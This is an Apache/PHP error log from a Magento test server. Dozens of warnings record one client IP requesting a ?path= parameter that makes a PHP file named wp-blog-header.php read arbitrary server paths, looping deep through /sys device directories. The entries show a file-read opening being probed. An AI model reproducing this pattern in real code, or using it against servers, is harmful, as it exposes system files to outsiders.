[Thu Mar 26 11:02:00.447963 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ce
[Thu Mar 26 11:02:03.108335 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:ae
[Thu Mar 26 11:02:04.167934 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/drivers/ec
[Thu Mar 26 11:02:04.681031 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/drivers/ac
[Thu Mar 26 11:02:07.875007 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/device:fe/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/device:fe/subsystem
[Thu Mar 26 11:02:08.876569 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:ec
[Thu Mar 26 11:02:09.944882 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:02:13.107512 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:ca
[Thu Mar 26 11:02:16.350240 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:ae
[Thu Mar 26 11:02:16.901748 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:da
[Thu Mar 26 11:02:21.143557 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:da
[Thu Mar 26 11:02:21.707385 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:ae
[Thu Mar 26 11:02:24.878697 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:cc
[Thu Mar 26 11:02:25.895591 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:fc
[Thu Mar 26 11:02:26.956993 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ca
[Thu Mar 26 11:02:27.468089 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:02:28.076984 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:02:28.607854 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:fc
[Thu Mar 26 11:02:33.392446 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:cc
[Thu Mar 26 11:02:33.881984 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:ce
[Thu Mar 26 11:02:36.556261 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:bc
[Thu Mar 26 11:02:39.191322 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/drivers/ec
[Thu Mar 26 11:02:47.176838 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/drivers/ac
[Thu Mar 26 11:02:50.272212 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/drivers/ec
[Thu Mar 26 11:02:50.710235 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:02:54.458985 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:da
[Thu Mar 26 11:02:54.983444 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/drivers/ac
[Thu Mar 26 11:03:00.918662 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:03:01.924673 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:fa
[Thu Mar 26 11:03:04.562072 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:03:06.147990 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ae
[Thu Mar 26 11:03:09.316218 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:fc
[Thu Mar 26 11:03:10.404854 2026] [php:warn] [pid 3106757] [client 74.7.241.26:40182] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:cc
[Thu Mar 26 11:03:14.830270 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:ae
[Thu Mar 26 11:03:17.442789 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:ac
[Thu Mar 26 11:03:18.504729 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:03:19.007445 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:fb/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:fb/device:fc
[Thu Mar 26 11:03:20.136984 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:aa
[Thu Mar 26 11:03:22.716256 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:03:25.933090 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:03:27.593587 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:03:28.116045 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:fa
[Thu Mar 26 11:03:28.668660 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 11:03:33.432725 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:ec
